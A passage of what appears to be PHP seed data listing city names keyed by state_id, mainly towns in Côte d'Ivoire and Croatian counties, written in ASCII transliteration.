'm\\'bahiakro'],\n ['state_id' => '862', 'name' => 'mbatto'],\n ['state_id' => '862', 'name' => 'n\\'zi-comoe'],\n ['state_id' => '863', 'name' => 'san-pedro'],\n ['state_id' => '863', 'name' => 'sassandra'],\n ['state_id' => '863', 'name' => 'soubre'],\n ['state_id' => '863', 'name' => 'tabou'],\n ['state_id' => '864', 'name' => 'boundiali'],\n ['state_id' => '864', 'name' => 'dikodougou'],\n ['state_id' => '864', 'name' => 'ferkessedougou'],\n ['state_id' => '864', 'name' => 'korhogo'],\n ['state_id' => '864', 'name' => 'tingrela'],\n ['state_id' => '865', 'name' => 'divo'],\n ['state_id' => '865', 'name' => 'fresco'],\n ['state_id' => '865', 'name' => 'lakota'],\n ['state_id' => '866', 'name' => 'aboisso'],\n ['state_id' => '866', 'name' => 'adiake'],\n ['state_id' => '866', 'name' => 'ayame'],\n ['state_id' => '866', 'name' => 'bonoua'],\n ['state_id' => '866', 'name' => 'grand bassam'],\n ['state_id' => '868', 'name' => 'kani'],\n ['state_id' => '868', 'name' => 'mankono'],\n ['state_id' => '868', 'name' => 'seguela'],\n ['state_id' => '869', 'name' => 'bondoukou'],\n ['state_id' => '869', 'name' => 'bouna'],\n ['state_id' => '869', 'name' => 'tanda'],\n ['state_id' => '870', 'name' => 'bjelovar'],\n ['state_id' => '870', 'name' => 'brezovac'],\n ['state_id' => '870', 'name' => 'chazma'],\n ['state_id' => '870', 'name' => 'daruvar'],\n ['state_id' => '870', 'name' => 'daruvarski brestovac'],\n ['state_id' => '870', 'name' => 'dezhanovac'],\n ['state_id' => '870', 'name' => 'dhulovac'],\n ['state_id' => '870', 'name' => 'gareshnica'],\n ['state_id' => '870', 'name' => 'gareshnichki brestovac'],\n ['state_id' => '870', 'name' => 'grubishno polje'],\n ['state_id' => '870', 'name' => 'gudovac'],\n ['state_id' => '870', 'name' => 'hercegovac'],\n ['state_id' => '870', 'name' => 'ivanska'],\n ['state_id' => '870', 'name' => 'klokochevac'],\n ['state_id' => '870', 'name' => 'konchanica'],\n ['state_id' => '870', 'name' => 'predavac'],\n ['state_id' => '870', 'name' => 'rovishce'],\n ['state_id' => '870', 'name' => 'shandrovac'],\n ['state_id' => '870', 'name' => 'sirach'],\n ['state_id' => '870', 'name' => 'trojstveni markovac'],\n ['state_id' => '870', 'name' => 'velika pisanica'],\n ['state_id' => '870', 'name' => 'veliki grdhevac'],\n ['state_id' => '870', 'name' => 'veliki zdenci'],\n ['state_id' => '870', 'name' => 'veliko trojstvo'],\n ['state_id' => '870', 'name' => 'zhdralovi'],\n ['state_id' => '871', 'name' => 'blato'],\n ['state_id' => '871', 'name' => 'cavtat'],\n ['state_id' => '871', 'name' => 'chibacha'],\n ['state_id' => '871', 'name' => 'chilipi'],\n ['state_id' => '871', 'name' => 'dubrovnik'],\n ['state_id' => '871', 'name' => 'komin'],\n ['state_id' => '871', 'name' => 'korchula'],\n ['state_id' => '871', 'name' => 'lumbarda'],\n ['state_id' => '871', 'name' => 'metkovic'],\n ['state_id' => '871', 'name' => 'mlini'],\n ['state_id' => '871', 'name' => 'mokoshica'],\n ['state_id' => '871', 'name' => 'nova mokoshica'],\n ['state_id' => '871', 'name' => 'opuzen'],\n ['state_id' => '871', 'name' => 'orebic'],\n ['state_id' => '871', 'name' => 'otrich-seoci'],\n ['state_id' => '871', 'name' => 'ploche'],\n ['state_id' => '871', 'name' => 'smokvica'],\n ['state_id' => '871', 'name' => 'stashevica'],\n ['state_id' => '871', 'name' => 'vela luka'],\n ['state_id' => '871', 'name' => 'zaton'],\n ['state_id' => '871', 'name' => 'zhrnovo'],\n ['state_id' => '873', 'name' => 'bale'],\n ['state_id' => '873', 'name' => 'banjole'],\n ['state_id' => '873', 'name' => 'brtonigla'],\n ['state_id' => '873', 'name' => 'buje'],\n ['state_id' => '873', 'name' => 'buzet'],\n ['state_id' => '873', 'name' => 'fazhana'],\n ['state_id' => '873', 'name' => 'funtana'],\n ['state_id' => '873', 'name' => 'galizhana'],\n ['state_id' => '873', 'name' => 'labin'],\n ['state_id' => '873', 'name' => 'lizhnjan'],\n ['state_id' => '873', 'name' => 'marchana'],\n ['state_id' => '873', 'name' => 'medulin'],\n ['state_id' => '873', 'name' => 'novigrad'],\n ['state_id' => '873', 'name' => 'pazin'],\n ['state_id' => '873', 'name' => 'porech'],\n ['state_id' => '873', 'name' => 'premantura'],\n ['state_id' => '873', 'name' => 'pula'],\n ['state_id' => '873', 'name' => 'rabac'],\n ['state_id' => '873', 'name' => 'rasha'],\n ['state_id' => '873', 'name' => 'rovinj'],\n ['state_id' => '873', 'name' => 'sveti petar u shumi'],\n ['state_id' => '873', 'name' => 'tar'],\n ['state_id' => '873', 'name' => 'umag'],\n ['state_id' => '873', 'name' => 'vinezh'],\n ['state_id' => '873', 'name' => 'vodnjan'],\n ['state_id' => '873', 'name' => 'vrsar'],\n ['state_id' => '874', 'name' => 'cerovac vukmansichki'],\n ['state_id' => '874', 'name' => 'draganic'],\n ['state_id' => '874', 'name' => 'duga resa'],\n ['state_id' => '874', 'name' => 'josipdol'],\n ['state_id' => '874', 'name' => 'karlovac'],\n ['state_id' => '874', 'name' => 'mrezhnichki varosh'],\n ['state_id' => '874', 'name' => 'ogulin'],\n ['state_id' => '874', 'name' => 'oshtarije'],\n ['state_id' => '874', 'name' => 'ozalj'],\n ['state_id' => '874', 'name' => 'plashki'],\n ['state_id' => '874', 'name' => 'slunj'],\n ['state_id' => '874', 'name' => 'vojnic'],\n ['state_id' => '875', 'name' => 'dhelekovec'],\n ['state_id' => '875', 'name' => 'dhurdhevac'],\n ['state_id' => '875', 'name' => 'drnje'],\n ['state_id' => '875', 'name' => 'ferdinandovac'],\n ['state_id' => '875', 'name' => 'glogovac'],\n ['state_id' => '875', 'name' => 'gola'],\n ['state_id' => '875', 'name' => 'hlebine'],\n ['state_id' => '875', 'name' => 'kalinovac'],\n ['state_id' => '875', 'name' => 'kloshtar podravski'],\n ['state_id' => '875', 'name' => 'koprivnica'],\n ['state_id' => '875', 'name' => 'koprivnichki bregi'],\n ['state_id' => '875', 'name' => 'koprivnichki ivanec'],\n ['state_id' => '875', 'name' => 'krizhevci'],\n ['state_id' => '875', 'name' => 'legrad'],\n ['state_id' => '875', 'name' => 'molve'],\n ['state_id' => '875', 'name' => 'novigrad podravski'],\n ['state_id' => '875', 'name' => 'novo virje'],\n ['state_id' => '875', 'name' => 'peteranec'],\n ['state_id' => '875', 'name' => 'podravske sesvete'],\n ['state_id' => '875', 'name' => 'rasinja'],\n ['state_id' => '875', 'name' => 'reka'],\n ['state_id' => '875', 'name' => 'sigetec'],\n ['state_id' => '875', 'name' => 'starigrad'],\n ['state_id' => '875', 'name' => 'sveti ivan zhabno'],\n ['state_id' => '875', 'name' => 'trema'],\n ['state_id' => '875', 'name' => 'virje'],\n ['state_id' => '876', 'name' => 'andrashevec'],\n ['state_id' => '876', 'name' => 'bedekovchina'],\n ['state_id' => '876', 'name' => 'dhurmanec'],\n ['state_id' => '876', 'name' => 'donja pachetina'],\n ['state_id' => '876', 'name' => 'donja shemnica'],\n ['state_id' => '876', 'name' => 'donja stubica'],\n ['state_id' => '876', 'name' => 'dubrovchan'],\n ['state_id' => '876', 'name' => 'gornja stubica'],\n ['state_id' => '876', 'name' => 'hum na sutli'],\n ['state_id' => '876', 'name' => 'klanjec'],\n ['state_id' => '876', 'name' => 'konjishchina'],\n ['state_id' => '876', 'name' => 'krapina'],\n ['state_id' => '876', 'name' => 'krapinske toplice'],\n ['state_id' => '876', 'name' => 'laz bistrichki'],\n ['state_id' => '876', 'name' => 'marija bistrica'],\n ['state_id' => '876', 'name' => 'mihovljan'],\n ['state_id' => '876', 'name' => 'oroslavje'],\n ['state_id' => '876', 'name' => 'podgorje bistrichko'],\n ['state_id' => '876', 'name' => 'poznanovec'],\n ['state_id' => '876', 'name' => 'pregrada'],\n ['state_id' => '876', 'name' => 'radoboj'],\n ['state_id' => '876', 'name' => 'shkaricevo'],\n ['state_id' => '876', 'name' => 'shpichkovina'],\n ['state_id' => '876', 'name' => 'stubichke toplice'],\n ['state_id' => '876', 'name' => 'sveti krizh zachretje'],\n ['state_id' => '876', 'name' => 'veliko trgovishce'],\n ['state_id' => '876', 'name' => 'zabok'],\n ['state_id' => '876', 'name' => 'zlatar'],\n ['state_id' => '876', 'name' => 'zlatar-bistrica'],\n ['state_id' => '877', 'name' => 'brinje'],\n ['state_id' => '877', 'name' => 'donji lapac'],\n ['state_id' => '877', 'name' => 'gospic'],\n ['state_id' => '877', 'name' => 'korenica'],\n ['state_id' => '877', 'name' => 'lichki osik'],\n ['state_id' => '877', 'name' => 'lichko leshce'],\n ['state_id' => '877', 'name' => 'novalja'],\n ['state_id' => '877', 'name' => 'otochac'],\n ['state_id' => '877', 'name' => 'perushic'],\n ['state_id' => '877', 'name' => 'prozor'],\n ['state_id' => '877', 'name' => 'senj'],\n ['state_id' => '878', 'name' => 'belica'],\n ['state_id' => '878', 'name' => 'chakovec'],\n ['state_id' => '878', 'name' => 'cirkovljan'],\n ['state_id' => '878', 'name' => 'dekanovec'],\n ['state_id' => '878', 'name' => 'domashinec'],\n ['state_id' => '878', 'name' => 'donja dubrava'],\n ['state_id' => '878', 'name' => 'donji kraljevec'],\n ['state_id' => '878', 'name' => 'donji vidovec'],\n ['state_id' => '878', 'name' => 'drzhimurec'],\n ['state_id' => '878', 'name' => 'dunjkovec'],\n ['state_id' => '878', 'name' => 'gardinovec'],\n ['state_id' => '878', 'name' => 'gorichan'],\n ['state_id' => '878', 'name' => 'gornji hrashcan'],\n ['state_id' => '878', 'name' => 'hodoshan'],\n ['state_id' => '878', 'name' => 'ivanovec'],\n ['state_id' => '878', 'name' => 'kotoriba'],\n ['state_id' => '878', 'name' => 'kurshanec'],\n ['state_id' => '878', 'name' => 'lopatinec'],\n ['state_id' => '878', 'name' => 'machkovec'],\n ['state_id' => '878', 'name' => 'mala subotica'],\n ['state_id' => '878', 'name' => 'mihovljan'],\n ['state_id' => '878', 'name' => 'mursko sredishce'],\n ['state_id' => '878', 'name' => 'nedelishce'],\n ['state_id' => '878', 'name' => 'novakovec'],\n ['state_id' => '878', 'name' => 'novo selo rok'],\n ['state_id' => '878', 'name' => 'orehovica'],\n ['state_id' => '878', 'name' => 'palovec'],\n ['state_id' => '878', 'name' => 'peklenica'],\n ['state_id' => '878', 'name' => 'podturen'],\n ['state_id' => '878', 'name' => 'prelog'],\n ['state_id' => '878', 'name' => 'pribislavec'],\n ['state_id' => '878', 'name' => 'pushcine'],\n ['state_id' => '878', 'name' => 'savska ves'],\n ['state_id' => '878', 'name' => 'selnica'],\n ['state_id' => '878', 'name' => 'shenkovec'],\n ['state_id' => '878', 'name' => 'strahoninec'],\n ['state_id' => '878', 'name' => 'sveta marija'],\n ['state_id' => '878', 'name' => 'trnovec'],\n ['state_id' => '878', 'name' => 'vratishinec'],\n ['state_id' => '878', 'name' => 'zasadbreg'],\n ['state_id' => '880', 'name' => 'antunovac'],\n ['state_id' => '880', 'name' => 'batina'],\n ['state_id' => '880', 'name' => 'beli manastir'],\n ['state_id' => '880', 'name' => 'belishce'],\n ['state_id' => '880', 'name' => 'beljevina'],\n ['state_id' => '880', 'name' => 'bijelo brdo'],\n ['state_id' => '880', 'name' => 'bilje'],\n ['state_id' => '880', 'name' => 'bistrinci'],\n ['state_id' => '880', 'name' => 'bizovac'],\n ['state_id' => '880', 'name' => 'branjin vrh'],\n ['state_id' => '880', 'name' => 'brijeshce'],\n ['state_id' => '880', 'name' => 'brijest'],\n ['state_id' => '880', 'name' => 'ceminac'],\n ['state_id' => '880', 'name' => 'chepin'],\n ['state_id' => '880', 'name' => 'crnkovci'],\n ['state_id' => '880', 'name' => 'dalj'],\n ['state_id' => '880', 'name' => 'darda'],\n ['state_id' => '880', 'name' => 'dhakovo'],\n ['state_id' => '880', 'name' => 'dhurdhenovac'],\n ['state_id' => '880', 'name' => 'donja motichina'],\n ['state_id' => '880', 'name' => 'donji miholac'],\n ['state_id' => '880', 'name' => 'erdut'],\n ['state_id' => '880', 'name' => 'ernestinovo'],\n ['state_id' => '880', 'name' => 'ferichanci'],\n ['state_id' => '880', 'name' => 'gashinci'],\n ['state_id' => '880', 'name' => 'gorjani'],\n ['state_id' => '880', 'name' => 'grabovac'],\n ['state_id' => '880', 'name' => 'ivanovac'],\n ['state_id' => '880', 'name' => 'ivanovci gorjanski'],\n ['state_id' => '880', 'name' => 'jagodnjak'],\n ['state_id' => '880', 'name' => 'jelisavac'],\n ['state_id' => '880', 'name' => 'josipovac'],\n ['state_id' => '880', 'name' => 'josipovac punitovachki'],\n ['state_id' => '880', 'name' => 'karanac'],\n ['state_id' => '880', 'name' => 'keshinci'],\n ['state_id' => '880', 'name' => 'knezhevi vinogradi'],\n ['state_id' => '880', 'name' => 'knezhevo'],\n ['state_id' => '880', 'name' => 'koritna'],\n ['state_id' => '880', 'name' => 'koshka'],\n ['state_id' => '880', 'name' => 'kushevac'],\n ['state_id' => '880', 'name' => 'ladimirevci'],\n ['state_id' => '880', 'name' => 'laslovo'],\n ['state_id' => '880', 'name' => 'lug'],\n ['state_id' => '880', 'name' => 'marijanci'],\n ['state_id' => '880', 'name' => 'markovac nashichki'],\n ['state_id' => '880', 'name' => 'martin'],\n ['state_id' => '880', 'name' => 'mece'],\n ['state_id' => '880', 'name' => 'moslavina podravska'],\n ['state_id' => '880', 'name' => 'nashice'],\n ['state_id' => '880', 'name' => 'osijek'],\n ['state_id' => '880', 'name' => 'ovchara'],\n ['state_id' => '880', 'name' => 'petlovac'],\n ['state_id' => '880', 'name' => 'petrijevci'],\n ['state_id' => '880', 'name' => 'pishkorevci'],\n ['state_id' => '880', 'name' => 'podgorach'],\n ['state_id' => '880', 'name' => 'popvac'],\n ['state_id' => '880', 'name' => 'rakitovica'],\n ['state_id' => '880', 'name' => 'sarvash'],\n ['state_id' => '880', 'name' => 'satnica dhakovachka'],\n ['state_id' => '880', 'name' => 'selci dhakovacki'],\n ['state_id' => '880', 'name' => 'semeljci'],\n ['state_id' => '880', 'name' => 'shiroko polje'],\n ['state_id' => '880', 'name' => 'strizivojna'],\n ['state_id' => '880', 'name' => 'sveti dhuradh'],\n ['state_id' => '880', 'name' => 'tenja'],\n ['state_id' => '880', 'name' => 'valpovo'],\n ['state_id' => '880', 'name' => 'velimirovac'],\n ['state_id' => '880', 'name' => 'viljevo'],\n ['state_id' => '880', 'name' => 'vishkovci'],\n ['state_id' => '880', 'name' => 'vishnjevac'],\n ['state_id' => '880', 'name' => 'vladislavci'],\n ['state_id' => '880', 'name' => 'vuka'],\n ['state_id' => '880', 'name' => 'vukojevci'],\n ['state_id' => '880', 'name' => 'zmajevac'],\n ['state_id' => '880', 'name' => 'zoljan'],\n ['state_id' => '882', 'name' => 'badljevina'],\n ['state_id' => '882', 'name' => 'brodski drenovac'],\n ['state_id' => '882', 'name' => 'dervishaga'],\n ['state_id' => '882', 'name' => 'gradac'],\n ['state_id' => '882', 'name' => 'jakshic'],\n ['state_id' => '882', 'name' => 'kaptol'],\n ['state_id' => '882', 'name' => 'kutjevo'],\n ['state_id' => '882', 'name' => 'lipik'],\n ['state_id' => '882', 'name' => 'pakrac'],\n ['state_id' => '882', 'name' => 'pleternica'],\n ['state_id' => '882', 'name' => 'pozhega'],\n ['state_id' => '882', 'name' => 'prekopkra'],\n ['state_id' => '882', 'name' => 'trenkovo'],\n ['state_id' => '882', 'name' => 'velika'],\n ['state_id' => '882', 'name' => 'vetovo'],\n ['state_id' => '882', 'name' => 'vidovci'],\n ['state_id' => '884', 'name' => 'bilice'],\n ['state_id' => '884', 'name' => 'brodarica'],\n ['state_id' => '884', 'name' => 'drnish'],\n ['state_id' => '884', 'name' => 'dubrava kod shibenika'],\n ['state_id' => '884', 'name' => 'grebashtica'],\n ['state_id' => '884', 'name' => 'jezera'],\n ['state_id' => '884', 'name' => 'kistanje'],\n ['state_id' => '884', 'name' => 'knin'],\n ['state_id' => '884', 'name' => 'kovachic'],\n ['state_id' => '884', 'name' => 'murter'],\n ['state_id' => '884', 'name' => 'pirovac'],\n ['state_id' => '884', 'name' => 'primoshten'],\n ['state_id' => '884', 'name' => 'rogoznica'],\n ['state_id' => '884', 'name' => 'shibenik'],\n ['state_id' => '884', 'name' => 'skradin'],\n ['state_id' => '884', 'name' => 'tisno'],\n ['state_id' => '884', 'name' => 'tribunj'],\n ['state_id' => '884', 'name' => 'vodice'],\n ['state_id' => '884', 'name' => 'vrpolje'],\n ['state_id' => '884', 'name' => 'zaton'],\n ['state_id' => '885', 'name' => 'brestacha'],\n ['state_id' => '885', 'name' => 'brochice'],\n ['state_id' => '885', 'name' => 'budashevo'],\n ['state_id' => '885', 'name' => 'donja grachenica'],\n ['state_id' => '885', 'name' => 'dvor'],\n ['state_id' => '885', 'name' => 'glina'],\n ['state_id' => '885', 'name' => 'gornja grachenica'],\n ['state_id' => '885', 'name' => 'gornja jelenska'],\n ['state_id' => '885', 'name' => 'greda'],\n ['state_id' => '885', 'name' => 'gvozd'],\n ['state_id' => '885', 'name' => 'hrastelnica'],\n ['state_id' => '885', 'name' => 'hrvatska dubica'],\n ['state_id' => '885', 'name' => 'hrvatska kostajnica'],\n ['state_id' => '885', 'name' => 'husain'],\n ['state_id' => '885', 'name' => 'ilova'],\n ['state_id' => '885', 'name' => 'kutina'],\n ['state_id' => '885', 'name' => 'lekenik'],\n ['state_id' => '885', 'name' => 'lipovljani'],\n ['state_id' => '885', 'name' => 'moshchenica'],\n ['state_id' => '885', 'name' => 'novska'],\n ['state_id' => '885', 'name' => 'odra sisachka'],\n ['state_id' => '885', 'name' => 'osekovo'],\n ['state_id' => '885', 'name' => 'peshcenica'],\n ['state_id' => '885', 'name' => 'petrinja'],\n ['state_id' => '885', 'name' => 'popovacha'],\n ['state_id' => '885', 'name' => 'potok'],\n ['state_id' => '885', 'name' => 'rajic'],\n ['state_id' => '885', 'name' => 'repushnica'],\n ['state_id' => '885', 'name' => 'sisak'],\n ['state_id' => '885', 'name' => 'staro prachno'],\n ['state_id' => '885', 'name' => 'sunja'],\n ['state_id' => '885', 'name' => 'topolovac'],\n ['state_id' => '885', 'name' => 'voloder'],\n ['state_id' => '887', 'name' => 'bashka voda'],\n ['state_id' => '887', 'name' => 'bol'],\n ['state_id' => '887', 'name' => 'brela'],\n ['state_id' => '887', 'name' => 'brnaze'],\n ['state_id' => '887', 'name' => 'cista velika'],\n ['state_id' => '887', 'name' => 'donji prolozhac'],\n ['state_id' => '887', 'name' => 'donji vinjani'],\n ['state_id' => '887', 'name' => 'duce'],\n ['state_id' => '887', 'name' => 'dugi rat'],\n ['state_id' => '887', 'name' => 'dugopolje'],\n ['state_id' => '887', 'name' => 'gala'],\n ['state_id' => '887', 'name' => 'glavice'],\n ['state_id' => '887', 'name' => 'glavina donja'],\n ['state_id' => '887', 'name' => 'gornji vincjani'],\n ['state_id' => '887', 'name' => 'gradac'],\n ['state_id' => '887', 'name' => 'grubine'],\n ['state_id' => '887', 'name' => 'hrvace'],\n ['state_id' => '887', 'name' => 'hvar'],\n ['state_id' => '887', 'name' => 'imotski'],\n ['state_id' => '887', 'name' => 'jelsa'],\n ['state_id' => '887', 'name' => 'jesenice'],\n ['state_id' => '887', 'name' => 'kamen'],\n ['state_id' => '887', 'name' => 'kashtel gambelovac'],\n ['state_id' => '887', 'name' => 'kashtel gomilica'],\n ['state_id' => '887', 'name' => 'kashtel lukshic'],\n ['state_id' => '887', 'name' => 'kashtel novi'],\n ['state_id' => '887', 'name' => 'kashtel shtafilic'],\n ['state_id' => '887', 'name' => 'kashtel stari'],\n ['state_id' => '887', 'name' => 'kashtel sucurac'],\n ['state_id' => '887', 'name' => 'katuni'],\n ['state_id' => '887', 'name' => 'klis'],\n ['state_id' => '887', 'name' => 'komizha'],\n ['state_id' => '887', 'name' => 'koshute'],\n ['state_id' => '887', 'name' => 'lovrec'],\n ['state_id' => '887', 'name' => 'makarska'],\n ['state_id' => '887', 'name' => 'marina'],\n ['state_id' => '887', 'name' => 'mastrinka'],\n ['state_id' => '887', 'name' => 'milna'],\n ['state_id' => '887', 'name' => 'mravince'],\n ['state_id' => '887', 'name' => 'neoric'],\n ['state_id' => '887', 'name' => 'obrovac sinjski'],\n ['state_id' => '887', 'name' => 'okrug gornji'],\n ['state_id' => '887', 'name' => 'omish'],\n ['state_id' => '887', 'name' => 'otok'],\n ['state_id' => '887', 'name' => 'podgora'],\n ['state_id' => '887', 'name' => 'podstrana'],\n ['state_id' => '887', 'name' => 'poljica'],\n ['state_id' => '887', 'name' => 'postira'],\n ['state_id' => '887', 'name' => 'postranje'],\n ['state_id' => '887', 'name' => 'potravlje'],\n ['state_id' => '887', 'name' => 'primorski dolac'],\n ['state_id' => '887', 'name' => 'puchishca'],\n ['state_id' => '887', 'name' => 'ruda'],\n ['state_id' => '887', 'name' => 'runovic'],\n ['state_id' => '887', 'name' => 'seget donji'],\n ['state_id' => '887', 'name' => 'seget vranjica'],\n ['state_id' => '887', 'name' => 'selca'],\n ['state_id' => '887', 'name' => 'sinj'],\n ['state_id' => '887', 'name' => 'slatine'],\n ['state_id' => '887', 'name' => 'solin'],\n ['state_id' => '887', 'name' => 'split'],\n ['state_id' => '887', 'name' => 'srinjine'],\n ['state_id' => '887', 'name' => 'stari grad'],\n ['state_id' => '887', 'name' => 'stobrech'],\n ['state_id' => '887', 'name' => 'supetar'],\n ['state_id' => '887', 'name' => 'trilj'],\n ['state_id' => '887', 'name' => 'trogir'],\n ['state_id' => '887', 'name' => 'tuchepi'],\n ['state_id' => '887', 'name' => 'turjaci'],\n ['state_id' => '887', 'name' => 'vinishce'],\n ['state_id' => '887', 'name' => 'vis'],\n ['state_id' => '887', 'name' => 'vranjic'],\n ['state_id' => '887', 'name' => 'vrgorac'],\n ['state_id' => '887', 'name' => 'vrlika'],\n ['state_id' => '887', 'name' => 'zagvozd'],\n ['state_id' => '887', 'name' => 'zhrnovnica'],\n ['state_id' => '887', 'name' => 'zmijavci'],\n ['state_id' => '888', 'name' => 'bedenec'],\n ['state_id' => '888', 'name' => 'beletinec'],\n ['state_id' => '888', 'name' => 'beretinec'],\n ['state_id' => '888', 'name' => 'breznica'],\n ['state_id' => '888', 'name' => 'chreshnjevo'],\n ['state_id' => '888', 'name' => 'donja voca'],\n ['state_id' => '888', 'name' => 'donje ladanje'],\n ['state_id' => '888', 'name' => 'gornje ladanje'],\n ['state_id' => '888', 'name' => 'gornje vratno'],\n ['state_id' => '888', 'name' => 'gornji kneginec'],\n ['state_id' => '888', 'name' => 'gornji kucan'],\n ['state_id' => '888', 'name' => 'hrashcica'],\n ['state_id' => '888', 'name' => 'hrastovsko'],\n ['state_id' => '888', 'name' => 'hrzhenica'],\n ['state_id' => '888', 'name' => 'ivanec'],\n ['state_id' => '888', 'name' => 'jalkovec'],\n ['state_id' => '888', 'name' => 'jalzhabet'],\n ['state_id' => '888', 'name' => 'jerovec'],\n ['state_id' => '888', 'name' => 'klenovnik'],\n ['state_id' => '888', 'name' => 'kljuch'],\n ['state_id' => '888', 'name' => 'kucan marof'],\n ['state_id' => '888', 'name' => 'lepoglava'],\n ['state_id' => '888', 'name' => 'ljubeshcica'],\n ['state_id' => '888', 'name' => 'ludbreg'],\n ['state_id' => '888', 'name' => 'madzharevo'],\n ['state_id' => '888', 'name' => 'mali bukovec'],\n ['state_id' => '888', 'name' => 'nedeljanec'],\n ['state_id' => '888', 'name' => 'nova ves petrijanec'],\n ['state_id' => '888', 'name' => 'novi marof'],\n ['state_id' => '888', 'name' => 'petrijanec'],\n ['state_id' => '888', 'name' => 'podevchevo'],\n ['state_id' => '888', 'name' => 'presechno'],\n ['state_id' => '888', 'name' => 'remetinec'],\n ['state_id' => '888', 'name' => 'selnik'],\n ['state_id' => '888', 'name' => 'shemovec'],\n ['state_id' => '888', 'name' => 'srachinec'],\n ['state_id' => '888', 'name' => 'sveti petar'],\n ['state_id' => '888', 'name' => 'svibovec podravski'],\n ['state_id' => '888', 'name' => 'trnovec'],\n ['state_id' => '888', 'name' => 'turchin'],\n ['state_id' => '888', 'name' => 'tuzhno'],\n ['state_id' => '888', 'name' => 'varazhdin'],\n ['state_id' => '888', 'name' => 'varazhdin breg'],\n ['state_id' => '888', 'name' => 'varazhdinske toplice'],\n ['state_id' => '888', 'name' => 'vidovec'],\n ['state_id' => '888', 'name' => 'vinica'],\n ['state_id' => '888', 'name' => 'zavrshje podbelsko'],\n ['state_id' => '888', 'name' => 'zharovnica'],\n ['state_id' => '889', 'name' => 'borova'],\n ['state_id' => '889', 'name' => 'busetina'],\n ['state_id' => '889', 'name' => 'cabuna'],\n ['state_id' => '889', 'name' => 'chachinci'],\n ['state_id' => '889', 'name' => 'gradina'],\n ['state_id' => '889', 'name' => 'korija'],\n ['state_id' => '889', 'name' => 'mikleush'],\n ['state_id' => '889', 'name' => 'milanovac'],\n ['state_id' => '889', 'name' => 'nova bukovica'],\n ['state_id' => '889', 'name' => 'orahovica'],\n ['state_id' => '889', 'name' => 'pitomacha'],\n ['state_id' => '889', 'name' => 'podgorje'],\n ['state_id' => '889', 'name' => 'rezovac'],\n ['state_id' => '889', 'name' => 'shpishic bukovica'],\n ['state_id' => '889', 'name' => 'slatina'],\n ['state_id' => '889', 'name' => 'suhopolje'],\n ['state_id' => '889', 'name' => 'turanovac'],\n ['state_id' => '889', 'name' => 'virovitica'],\n ['state_id' => '889', 'name' => 'vocin'],\n ['state_id' => '889', 'name' => 'zdenci'],\n ['state_id' => '890', 'name' => 'andrijashevci'],\n ['state_id' => '890', 'name' => 'antin'],\n ['state_id' => '890', 'name' => 'babina greda'],\n ['state_id' => '890', 'name' => 'bapska'],\n ['state_id' => '890', 'name' => 'bobota'],\n ['state_id' => '890', 'name' => 'bogdanovci'],\n ['state_id' => '890', 'name' => 'borovo'],\n ['state_id' => '890', 'name' => 'boshnjaci'],\n ['state_id' => '890', 'name' => 'brshadin'],\n ['state_id' => '890', 'name' => 'ceric'],\n ['state_id' => '890', 'name' => 'cerna'],\n ['state_id' => '890', 'name' => 'drenovci'],\n ['state_id' => '890', 'name' => 'gradishte'],\n ['state_id' => '890', 'name' => 'gunja'],\n ['state_id' => '890', 'name' => 'ilacha'],\n ['state_id' => '890', 'name' => 'ilok'],\n ['state_id' => '890', 'name' => 'ivankovo'],\n ['state_id' => '890', 'name' => 'jarmina'],\n ['state_id' => '890', 'name' => 'komletinci'],\n ['state_id' => '890', 'name' => 'lipovac'],\n ['state_id' => '890', 'name' => 'lovas'],\n ['state_id' => '890', 'name' => 'markushica'],\n ['state_id' => '890', 'name' => 'mirkovci'],\n ['state_id' => '890', 'name' => 'negoslavci'],\n ['state_id' => '890', 'name' => 'nijemci'],\n ['state_id' => '890', 'name' => 'novi jankovci'],\n ['state_id' => '890', 'name' => 'nushtar'],\n ['state_id' => '890', 'name' => 'otok'],\n ['state_id' => '890', 'name' => 'petrovci'],\n ['state_id' => '890', 'name' => 'posavski podgajci'],\n ['state_id' => '890', 'name' => 'privlaka'],\n ['state_id' => '890', 'name' => 'rachinovci'],\n ['state_id' => '890', 'name' => 'rajevo selo'],\n ['state_id' => '890', 'name' => 'retkovci'],\n ['state_id' => '890', 'name' => 'rokovci'],\n ['state_id' => '890', 'name' => 'sharengrad'],\n ['state_id' => '890', 'name' => 'shishkovci'],\n ['state_id' => '890', 'name' => 'shtitar'],\n ['state_id' => '890', 'name' => 'slakovci'],\n ['state_id' => '890', 'name' => 'soljani'],\n ['state_id' => '890', 'name' => 'sotin'],\n ['state_id' => '890', 'name' => 'stari jankovci'],\n ['state_id' => '890', 'name' => 'stari mikanovci'],\n ['state_id' => '890', 'name' => 'tordinci'],\n ['state_id' => '890', 'name' => 'tovarnik'],\n ['state_id' => '890', 'name' => 'trpinja'],\n ['state_id' => '890', 'name' => 'vinkovci'],\n ['state_id' => '890', 'name' => 'vodhinci'],\n ['state_id' => '890', 'name' => 'vrbanja'],\n ['state_id' => '890', 'name' => 'vukovar'],\n ['state_id' => '890', 'name' => 'zhupanja'],\n ['state_id' => '891', 'name' => 'benkovac'],\n ['state_id' => '891', 'name' => 'bibinje'],\n ['state_id' => '891', 'name' => 'biograd na moru'],\n ['state_id' => '891', 'name' => 'debeljak'],\n ['state_id' => '891', 'name' => 'galovac'],\n ['state_id' => '891', 'name' => 'gorica'],\n ['state_id' => '891', 'name' => 'gornji karin'],\n ['state_id' => '891', 'name' => 'grachac'],\n ['state_id' => '891', 'name' => 'jasenice'],\n ['state_id' => '891', 'name' => 'kali'],\n ['state_id' => '891', 'name' => 'krushevo'],\n ['state_id' => '891', 'name' => 'nin'],\n ['state_id' => '891', 'name' => 'obrovac'],\n ['state_id' => '891', 'name' => 'pag'],\n ['state_id' => '891', 'name' => 'pakoshtane'],\n ['state_id' => '891', 'name' => 'polacha'],\n ['state_id' => '891', 'name' => 'polichnik'],\n ['state_id' => '891', 'name' => 'poljica'],\n ['state_id' => '891', 'name' => 'posedarje'],\n ['state_id' => '891', 'name' => 'preko'],\n ['state_id' => '891', 'name' => 'pridraga'],\n ['state_id' => '891', 'name' => 'privlaka'],\n ['state_id' => '891', 'name' => 'razhanac'],\n ['state_id' => '891', 'name' => 'shkabrnja'],\n ['state_id' => '891', 'name' => 'slivnica'],\n ['state_id' => '891', 'name' => 'starigrad'],\n ['state_id' => '891', 'name' => 'sukoshan'],\n ['state_id' => '891', 'name' => 'sveti filip i jakov'],\n ['state_id' => '891', 'name' => 'turanj'],\n ['state_id' => '891', 'name' => 'ugljan'],\n ['state_id' => '891', 'name' => 'vir'],\n ['state_id' => '891', 'name' => 'vrsi'],\n ['state_id' => '891', 'name' => 'zadar'],\n ['state_id' => 